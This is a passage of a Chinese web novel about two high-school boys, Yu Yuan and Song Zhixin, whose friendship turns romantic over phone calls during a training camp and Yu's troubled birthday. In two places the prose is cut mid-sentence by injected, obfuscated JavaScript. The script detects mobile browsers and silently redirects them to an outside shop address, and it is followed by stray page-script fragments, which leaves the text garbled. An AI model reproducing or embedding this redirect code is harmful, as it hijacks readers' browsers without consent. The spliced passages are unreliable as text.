宋之信挪一挪,闻言停下来,和他四目相对一会儿,又说:“好困,好想睡觉。” 大爷的。 郁源咬牙,在心里又骂了几句蒋汀,看电影买什么酒精饮料,把好端端的人整成这样。但转念一想,怎么会有人喝这种度数的酒精饮料都能半醉,实在是不可置信。 “你挤着我怎么睡,”他向宋之信抬了抬下巴,命令道,“去靠你那边车窗不行吗。” 宋之信哦一声,又挪过去,按照郁源的指示,缩起肩膀,额头抵在车窗上,半阖着眼,镜片笼在阴影里显得灰蒙蒙的,样子看起来有点无助,郁源又起一些恻隐。 而刚过一会儿,身旁发出窸窸窣窣的响动,宋之信又东倒西歪地挪回来,这次没留什么余地,二人肩膀撞着肩膀,宋之信倾身,左手撑在坐垫上,缓慢地碰了碰他的小指。 “……” 郁源不自觉缩了缩指节,别过脸不去看他。 可宋之信只是说: “郁源,减速带好多,颠得我太阳穴疼。” 他嘟囔一句。大概因为喝过酒精饮料,他的嗓音发黏,低沉沙哑,似乎带有抱怨的意味。 宋之信这样,郁源不可能再无动于衷。刚准备让他靠自己肩上睡,还没说话,宋之信忽地摘了眼镜,握在手里。 他往前一躺,顺势枕在郁源大腿上。 “郁源,睫毛也很长。” 宋之信喃喃,没握眼镜的手半举起来,似乎是在数郁源的睫毛。车辆开过减速带,又是一阵颠簸,宋之信的指尖随之一晃、一晃。须臾,他才把手放下,以一个安稳的姿势叠在肋侧。 车辆终于驶离隧道,路灯的光亮劈进车窗,一刹那照亮宋之信的半张脸。 他不错眼地看郁源,眼睛眨几下,分明脸上平淡得没有任何表情,视线却给人一种微妙的错觉。 ——大概有点缠绵,又深情。 郁源猛然抬手,轻轻盖住他的眼睛。 宋之信不解地“唔”了声,还没对此发出疑问,郁源俯下身,温声说:“宋之信。外面光线太刺眼,我给你遮一下。” 手掌感受到睫毛扇动的触感,像蝴蝶扑棱的两片翅膀,颤颤地扫过掌纹,非常细微,痒在心里。 胸腔内震响激荡,心跳汹涌如潮,只在表面风平浪静。第一朵水花扑在身上时,郁源被打湿,却没有选择躲开。 他忽然心知肚明。 哪怕接下来将要降临的是一场摧枯拉朽的海啸,也已无法逃避。 宋之信呼吸放缓,没有再发出声音。 20. 备注 期末考试一过,相当于提前进入高三。 专业课和文化课的压力都陡然增大,郁源没能很快适应,每天忙得晕头转向。 这边郁源还在学校补课,宋之信已经准备随队出发去外市集训。 这段时间,两人见面不多,只在微信上维系着固定的交流。 今天是郁源自补课以来的第一个假期,难得睡个懒觉,醒来时已快到中午。 郁源解锁手机,率先映入眼帘的就是置顶里宋之信发来的数条未读消息提醒。 第一条的时间还是清晨,宋之信拍了张高铁站的照片,告诉他:【郁源,要准备出发了。】 到站时照例也发了消息,用一板一眼的语气汇报行程:【到站了,现在去集训的学校。】 最新的在五分钟前:【到宿舍了。】 下面接一句:【分到的室友是其他学校的,名字都不认识。】 郁源本来睡眼惺忪,无言地把宋之信的消息来来回回浏览几遍,头脑终于清醒。郁源攒起一把额发,慵懒地打字:【拍张照片给我看看。】 刚发出去,聊天框顶上的信息就变成“对方正在输入中”,随即弹出一张宋之信发来的照片。 郁源点开,照片里是几张还未铺好的宿舍床,有几张下铺的床板上已经摆放了行李。 宋之信又发来一张图,还是刚才那张照片,但用红色记号笔圈出一个床位:【这张是我的。】 “?” 郁源觉得好笑,给他发一条语音:“宋之信,谁要你拍宿舍照片了?我是要你拍自己的照片。” 宋之信:【哦。】 过一会儿,照片发过来,是一张他拍,宋之信立在自己的床位前,面无表情,浑身僵硬,像站军姿。 郁源勾起唇角,宋之信继续发:【郁源,我室友问我是不是在给女朋友报备。】 郁源还没想好怎么回复,宋之信又说:【我解释,他们都不信,还起哄。】 平铺直叙一行字,总让郁源品出些百口莫辩的幽怨。郁源忍俊不禁,大发慈悲地建议:【这有什么关系?】 郁源:【你就把我的语音放给他们听。】 宋之信回得很快,斩钉截铁两个字:【不行。】 郁源愣了愣,对面弹出新的消息:【不想让他们听见你的声音。】 郁源又愣一下,抱着手机,脸颊都泛起细痒的麻。他问:【为什么?】 宋之信:【你又不是他们的朋友。】 宋之信:【也不是说给他们听。】 “……” 郁源蜷在床上,把自己裹进柔软的被子里,连滚好几圈,才堪堪抑制心中躁动,憋着笑意给宋之信又发一条语音,一字一句:“那你就让他们滚。” 宋之信隔一会儿才回复,看得出态度有些踌躇:【可是郁源,骂人是不是不太好。】 郁源把手机放在胸口,弯起的眼睛望着天花板,想象宋之信看见消息时犹豫的表情,或许还微微皱起的眉毛,愈发觉得宋之信实在可爱。 把方才的对话回味一番,郁源突然警觉,猛地从床上坐起来,一把捞起滑落到小腹的手机,给宋之信发消息:【宋之信,你给我的备注是什么?】 宋之信给他发来一张截图,是自己和他的聊天页面,顶部规规矩矩四个字:“郁源同学”。 “……” 郁源两眼一黑,脸瞬间就半拉下来,噼里啪啦地打字:【为什么是这个备注?】 郁源:【马上给我换掉!】 宋之信对此没有异议:【好的。】 并且主动询问:【那我应该换成什么?】 郁源想了想,告诉他:【可以改成我的小名。】 郁源:【我的小名叫圆圆。】 宋之信:【哦。】他很快发来新的截图,听话地把备注改成了“圆圆”。 这才对嘛。郁源感到满意,再和他随便扯着闲话,抱怨几句附中最近的考试频率,直到宋之信那边说要集合,才结束这场聊天。 附中虽然放假,晚上的专业课培训依旧照常。培训结束,郁源给教室关灯,走出机构,站在楼下人影稀疏的街道,累得想要原地躺倒。 正纠结直接打车回家还是步行去最近的地铁站,郁源掏出手机,看见宋之信后面发来的数条消息。 下午依旧是一些行程汇报,附上几张照片,是听讲座的大礼堂、用来集训的教室、学校里的标志性建筑物,宋之信说:【这边的老师带我们参观校园。】 时间接近傍晚,宋之信发的照片是盛满饭菜的餐盘,并配文:【比我们学校的食堂还难吃。】大概过去十几分钟,又发一张已经空盘的照片。 郁源安静地看着,疲惫的眉眼被手机屏幕映亮,一颗心变得很柔软很柔软。 他下划聊天页面,最近的几条消息是一小时前,宋之信说:【郁源,我室友看见了我给你的备注。】 宋之信:【他们都说你真的是我女朋友,怎么办?】 而大概因为郁源很长时间没有回复,宋之信过半小时又发:【现在去洗澡。】 事情似乎告一段落,也不知道以宋之信的这副笨嘴拙舌,最终如何应对。 他给宋之信发语音:“哎呀,反正我又不是嘛。连性别都错了,宋之信,你随便他们说。” 宋之信的状态立刻变成“正在输入中”。郁源带些戏谑的想法,故意逗弄:“宋之信,你很着急嘛,为什么这样在意?” 随后又接连追问:“是很想有女朋友吗?”“还是说已经背着我交了女朋友?” 几句话刚发出去,手机就乱七八糟地抖落起来电铃声。郁源又晾他几秒,而后才摁了接听,宋之信的声音急切地传来: “……郁源,我没有。” 郁源有些讶异,抬了下眉。印象中宋之信很少从未有过像这样的横冲直撞的时刻,五个字几乎是脱口而出。之后就像骤然泄气,宋之信颤颤巍巍缩回壳里,不再说话。 郁源等了一等,见宋之信确实没有出声的打算,便好整以暇地问他:“宋之信,既然都特地打电话来,怎么不继续解释?” “……”宋之信支吾一会儿,才含糊说:“我不知道说什么。”因为声音很低,听感上总让人觉得他似乎有些委屈和无措。 郁源说:“所以刚才你的室友误会你,你也像现在这样,不知道说什么?” “嗯。” “这样的话,他们应该默认了,”郁源若有所思,“默认你真的有女朋友。” “……嗯。” “刚才被你室友们起哄有女朋友,你也这么急?”郁源又问。 “没有的。”宋之信立刻回答,“我只是有点不高兴。”他顿了顿,“因为本来就不是真的,也不想被误会。” “但他们都要这样想,我没有办法,那就算了。”说到这里,宋之信的语气好像变得很苦恼,因此产生波澜,“如果你要这样想,其实我也没有办法。” “?” 郁源听得云山雾罩,霎时没出声。 “可没有办法,也不能这样算了。”宋之信自顾自接着说下去,“如果你也这样想的话……我不能什么都不做。” “因为我不希望你也这样觉得。” 但光看效果,做了和没做似乎没有区别。自己不善言辞,说不出什么让郁源信服的话,最后好像还是让他误会,宋之信因此失落。 “……” 郁源屏住呼吸,安静了好一会儿,觉得胸腔里的热意满得快溢出来。须臾,他才开口,话音轻快地说:“好啦,我当然知道你没有。宋之信,刚才跟你开玩笑的。” “你平时不是独处就是和我待在一起,怎么会有时间。”郁源说,“而且,你也要能看清楚其他人的脸吧。” “你有能看清楚的其他人的脸吗?” 宋之信不知道为什么郁源要明知故问,但如实告知:“没有了,郁源。除了家人之外,真的只有你。” 郁源挑眉:“这不就对了。” “嗯。”宋之信应一声。 郁源听出他的情绪没有方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471564|201508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才那么低落:“至于你那些室友,估计就是单纯八卦,大概也没有恶意。他们爱怎么想怎么想,反正事实是你本来就没有。” 他顿了顿,又道:“况且你本来就不是在意外界看法的人。” “而且这下他们一默认,以后估计就不会再起哄问你了,你干脆将错就错,是不是也刚好能够一劳永逸?” “……郁源,”宋之信半晌才开口,话音讷讷,“你真的好聪明啊。”郁源闻言,只轻轻哼笑一声,不置可否。 他听见宋之信继续说:“圆圆,谢谢你。” “有什么好谢……” 已经看见不远处地铁站的灯光,郁源的脚步忽地一停。 “宋之信,你叫我什么?” “……圆圆。” 宋之信再次低低地重复。 郁源分辨不出他是在叫唤还是在回答。但很快这句圆圆到底怎样定性就变得不重要,因为宋之信又开始叫他,还接连叫了好几遍: “圆圆,圆圆。” 他的吐字很轻,但却清晰,尾音断开又接连,像夏日正午降落在水洼里的雨滴,一圈一圈,打着涡旋。 郁源站在原地,顿时不知道作何言语。晚风扑过双颊,熨得他脸红耳燥。最后捏着手机干巴巴道:“宋之信,干嘛一直叫我的小名?” “因为好听。”宋之信回答,又说,“圆圆,为什么你的小名要叫‘圆圆’?” 关于自己的大名和小名,确实不是父母的心血来潮之举。 妈妈在怀他的时候特别喜欢喝芋圆糖水,爸爸担心外面的芋圆添加剂过量不安全,便特地学会做,隔三差五给她煮上一碗。以至在自己出生后,妈妈一锤定音,就决定给他取名郁源。 郁源讲故事般解释完因由,宋之信说:“圆圆,这个小名真的好适合你。”他似乎是斟酌了片刻语句,再开口,“毕竟,毕竟你那么好看。” 这和他长得好看有什么关系?郁源莫名其妙,怔怔地应一声,并不能理解宋之信的逻辑, “那……圆圆。”宋之信又问,“圆圆,以后能不能都这样叫你。” 郁源没有立刻回答,陷入思忖。 此前郁源从未觉得这个小名让他如此难以招架。从小到大在亲友口中听过千次万遍,附带的情绪再亲昵,合该早已脱敏。 可如今宋之信轻描淡写叫一次,心里就左摇右晃,偏偏不受控制地荡开涟漪。 “不行!”郁源说,“不能一直叫。” “好吧。” 宋之信对这个结果好像很失望,短短两个字的语调拖得有些长。 “……” 郁源于心不忍,便还是纵容地补充:“宋之信,你平时在学校里绝对不能叫。私底下实在想叫才能叫。” “什么才算‘实在想叫’?” 郁源板着脸:“不知道,自己判断。” “哦。” 被郁源铁面无私地挡回去,宋之信颇为郁闷地顿了顿,继而很认真地判断一下,情绪瞬间又高涨起来:“圆圆。” “……干什么。” 刚和宋之信三令五申完,就被猝不及防再叫一次,郁源只能硬着头皮应他。 宋之信那边隐约传来错落的哨音,有些嘈杂,他说话的音量跟着大了些:“宿舍好像准备熄灯了,我要回去了。” “哦,”郁源看了看时间,“那你……” “圆圆。” 宋之信忽然出声,不管不顾把他打断了。 “……”郁源硬生生闭了嘴,耐着性子等待他的下文。 可宋之信却没有说话。电话那头的噪音似乎小一些,取而代之的是窸窣的风声。 很快这一切在郁源耳边的都消弭不见,宋之信不知道跑到什么地方,任何响动像掉进黑黝黝的深洞,连来自宋之信本人的一点声音都没有,安静得很空虚。 郁源逐渐失去耐心,刚想出声问询,这时宋之信终于开口:“郁源……圆圆。” 他说:“想你的时候,能不能给你打电话?” 21. 生日 宋之信的集训正式开始,日常除了上课之外还有各种讲座和考试。 郁源这边同样应接不暇,几乎整天都要待在机构,课程范围由拉片、影评、脚本撰写扩展至广告策划,从早至晚焦头烂额,只在宋之信打来电话的十余分钟里得到喘息。 分别的日子里,电话成为彼此唯一的连接。 宋之信不是每晚都打来电话。为了保证自己能顺利接听,郁源特地把晚上的这段时间腾出,不安排任何规划,用以等待宋之信的来电,所幸经常性被满足,偶尔落空。 每天下课前最后一件事情是背文常,助教挨个检查,达到标准才放人。 郁源顺利完成后,却坐着没动。昨天的影评拿了低分、拉片作业尚未完成,广告策划方案暂时毫无思路……头脑一片混乱,亟待放空。 助教站门口出声提醒,郁源才惊觉教室里只剩下自己。他向助教道谢,收拾东西离开机构。 月亮藏匿在云层后,轮廓被勾勒得潦草。郁源抬眼望过几秒,深深吐出口气,神经像根用坏的弹簧,松弛的同时又感到麻木。 宋之信的电话如期打来。 宋之信最近的集训强度渐增,每天能拿到手机的次数愈少,不再像先前那样事无巨细地进行日程汇报,只能在短短十几分钟的通话里倾吐。 宋之信说:“郁源,晚上好。” “嗯。”郁源说,“晚上好。” 宋之信说:“上午的讲座有茶歇,饼干很好吃,但我只抢到一块。” “嗯。”郁源说,“那你下次要快一点。” 宋之信说:“下午的考试我犯困,所以趁老师不注意,偷偷睡了半小时。” “嗯。”郁源说,“还好没有被发现。” 宋之信说:“晚上有室友突然说想看女朋友的照片,我拒绝了。” 郁源闻言,终于嗤笑出声,语气出现波动:“别理他们。宋之信,你这些室友真的好无聊。” “圆圆,”宋之信顿了顿,说,“你怎么了。” 郁源一怔,停下脚步。隔着几百公里、电波两端,惊讶宋之信能察觉到自己的异常。 两人之间彻底安静几秒,郁源开口:“没什么,宋之信。”他说,“我可能是没有休息好,今天不太想说话。所以听你讲就好。” “郁源,圆圆。” 宋之信闻言,叫过他两遍,低声说:“那我现在挂断吧。你没有休息好,就去休息。” 郁源却不置可否。半晌,才无端发问:“宋之信,为什么会想给我打电话?” “因为想你。”宋之信几乎是立刻回答,“还想听到你的声音。这样……这样我会很开心。” “我也一样。”郁源说。 宋之信没听明白:“什么一样?” “想你,想听到你的声音,并且感到很开心。”郁源把他的话复述一遍,嗓音不自觉变得柔和,“所以没有休息好,也不想挂断。” “那郁源,你能不能也像我一样,”宋之信低低地说,“每天发生了什么事情,都跟我说。” 可在郁源的信条中,坦诚迷茫,暴露脆弱,都是相当无用的事情。更何况面对深深迷恋自己的宋之信,哪怕不堪重负,也誓要撑出一副无坚不摧的骨架。 他面不改色:“知道了宋之信,我会说的。”随后岔开话题,“你的集训大概什么时候结束?” “哦…哦,”宋之信果然被他带偏,想了想,“好像是下个月。”他说了个具体的日期:“前天有终期考核。这天上午有一个结业典礼。带队老师给我们买了下午的返程票。” 郁源微微地愣神,打开手机上的日历,仔细确认过,陷入苦恼。好巧不巧的,怎么偏偏在自己生日的后一天。 屏幕的光亮在眼底明明灭灭,郁源仰头,不再纠结。他告诉宋之信:“你集训结束的前一天,刚好是我的生日。” “生日?” “原来你的生日是这一天吗。”宋之信的音量似乎大了些,他问,“郁源,你过生日,想要什么礼物?” ——我想见你。 一句话在心里反复默念,又在喉头唇齿滚过好几遍,每每呼之欲出,想到自己不该任性。牵来扯去,最终还是被隐忍地压下舌尖。 他说:“没关系宋之信。你送什么,我都会喜欢的。” - 生日前一周,附中复课,郁源终于不用整天待在机构,几乎是逃也似的返校,荒谬地从繁重的文化课业里感受到解脱。 生日当天清早,郁源关掉闹铃,打开手机。蒋汀和祝雨澄的生日祝福已在凌晨卡点发送,置顶中只新增宋之信的一条。 简单一句“祝你生日快乐”,郁源垂眸看过很久,对镜洗漱时才发现嘴角的笑意迟迟未收。 午饭是和蒋汀祝雨澄一起,进入高三,几人各有各的兵荒马乱,好不容易得以相聚。 刚落座,祝雨澄眼疾手快,往他头上戴了顶彩虹生日帽发箍,蒋汀拧动迷你喷花筒,噼啪一声,斑斓的亮片飘洒半空。 “生日快乐!” 两人笑着说完,把准备的礼物推向他。 郁源心中一暖,却略有遗憾:“以前你们都是来我家一起吃蛋糕的。” “今年你特殊情况嘛,毕竟机构下课那么晚,”蒋汀揽住他,“以后多的是机会。” “噢对了。”他朝郁源眨眼,揶揄道,“你今天过生日,有没有告诉宋之信?” 郁源一滞,随后撩起眼皮,指节无意识摩挲手机的边缘:“说了,但他集训还没回,我们见不上面。” “居然还没回?” 蒋汀撇嘴,在替郁源抱怨似的:“宋之信到底会不会把握机会?” 他说:“人不来,心意总应该到位吧。宋之信给你送了什么礼物?” “……”祝雨澄适时打岔:“哎呀蒋汀,我们的礼物圆圆都还没过目呢。” “也对。”蒋汀猛地一拍大腿,“我提无关人员干嘛,他爱送不送!圆圆,赶快拆我和澄姐给你准备的礼物,你绝对会喜欢!” 郁源在催促声中咧开嘴角,此刻真实地被友情簇拥,连日来第一次感到发自内心的舒展和放松。 到晚上郁源结束专业课到家,刚开门,妈妈迎上前:“圆圆回来了呀,你姐姐刚和我连上视频呢。” 郁清的声音风风火火地从她的手机里传出:“生日快乐,郁源。恭喜你,以后就不是小孩了。” “谁说的?”爸爸端着蛋糕从厨房出来,放在桌上,打趣道,“不讲圆圆,清清你就是到了三四十岁,也都是爸爸妈妈的小孩。” “爸你少肉麻!”郁清吱哇乱叫。 屋内被笑声充斥,妈妈带郁源来到桌边。蛋糕上已经插好蜡烛,爸爸拿打火机点燃,旋即关掉整个客厅的灯。 烛光在黑暗中摇曳跳跃,妈妈轻拍郁源的后背:“宝贝,现在可以许愿了。” 郁源双手合十交握胸前,半阖双眸。再度睁眼,郁源环顾四周,烛光把父母的眼神映得明亮而慈爱。 妈妈问:“圆圆,能不能给爸妈听听,你今年又许了什么愿望?” “我希望……”郁源望向父母殷切的面孔,深呼一口气,才说,“我希望校考能拿到传媒大学的合格证。” “……” 气氛霎时间凝固。 郁源的表情僵住,焰苗的阴影像一道短鞭,在脸上起起伏伏的抽动。他动了动唇,艰涩地问:“……你们怎么都不说话?” 父母对视少顷,眼里写满欲言又止。好一会儿,妈妈才说:“圆圆,我们只是觉得,你其实不用这样给自己压力的。” 爸爸也附和:“圆圆,既然是过生日,可以换个能够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471565|201508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实现的愿望,比如说想要什么东西,爸爸妈妈都能满足你。” “当初让你走艺考,就是希望你能轻松一些,反正上个本科已经没问题了嘛。” 郁源沉默,忽然觉得眼前烛光愈发渺小,屋内的黑暗弥天盖地,裹住心脏。 这样的神情和言语,他不能再熟悉,和曾经无数次面临的一样,依旧那么温柔委婉,可自己逐渐长大,似乎越来越是非难分,不愿心安理得沉入被预先编织的梦乡。 “为什么?” 郁源抬眼,语气平静,音量却拔高:“是因为你们觉得我的目标也没什么值得另眼相看,还是说你们根本不认为我能做到?” 父母瞠目结舌,错愕的视线落在他身上。 “郁源你吃错药了?”这时郁清插话,“爸妈又没说错,好端端冲他们发什么火!” 手机屏幕里郁清张嘴,看起来还要继续说,被妈妈打断:“好了,好了。你弟弟有目标也不是坏事,今天他过生日,你俩先别吵架。” 郁清直接挂断了视频。 妈妈无奈摇头:“姐弟俩脾气简直一模一样。”她给郁源切一块蛋糕,“圆圆,先吃蛋糕吧。” 郁源接过,胃里已开始翻江倒海。强忍不适吃掉半块,奶油在口腔里粘腻发苦,郁源实在没有任何食欲,放下刀叉,对父母说: “我朋友来找我,我出去一下。” 说罢,把手机揣兜里,走到玄关处穿鞋。 “这么晚了。是蒋汀和祝雨澄?”妈妈问,“不是说今年没有时间来家里吃蛋糕?”见郁源实在要走,又道,“要不要把蛋糕带去分给他们?” “不用。”郁源摇头,关上家门。 他走出小区,压抑许久的呼吸终于释放,愈发剧烈急促。郁源咬住嘴唇,在空寂的街道胡乱地游荡。 不知道兜转几个路口,街边立着一张路牌。他看见那座公园的名称,月余前,自己曾带宋之信来过。 郁源的呼吸一滞,眼前的街景逐渐变得模糊。路牌上的字符扭曲成斑驳的色块,宋之信在脑海一经出现,就挥之不去。 他抬手,颓然地捂住脸。今夜的哀伤、愤懑积重难返,此刻又叠加不可言明的思念,挤压肺腑掠夺氧气,胸腔淤塞一片,产生淋漓的疼痛,郁源精疲力竭。 手机在口袋里振动数秒,有人来电。郁源取出,宋之信的名字映入眼帘。他怔了怔,滑向接听,嗓音喑哑:“……喂。” 宋之信说:“郁源,祝你生日快乐。” 听见对方声音的瞬间,郁源的眼泪夺眶而出。泪水汹涌流下,滚烫地灼烧脸颊,他竭力控制住颤抖的声线,回答:“嗯,谢谢你,宋之信。” 宋之信说:“郁源,我给你准备了礼物,希望你能喜欢。” “嗯。”郁源说,“我之前就说过了,只要是你送的,不管是什么,我都一定会喜欢的。” 宋之信说:“郁源……圆圆,我好想你。” 眼中的水雾堆积得化不开,郁源伸手擦掉,又很快溢满。他抽一下鼻子,语无伦次:“嗯。我也……我也是。” 宋之信说:“郁源,我回来了。” “……什么?” 郁源险些以为自己听错。 “我回来了。”宋之信说,“现在刚出高铁站。” 郁源握着手机,侧目望向街边店铺的橱窗。自己头发凌乱,此刻眼尾隐约地泛疼,估计过不久就会红肿。 看起来很脆弱,也狼狈,和平时的从容体面大相径庭。 他低声说:“这段时间辛苦了。宋之信,既然提前回来,到家后赶紧趁早休息。” 理智将要崩塌,眼前天旋地转。郁源恍惚地想,自己得找个合适的理由把电话挂断。刚张开嘴,怔忡间听见宋之信问:“圆圆,你在哪里?” 他说:“我想见你。”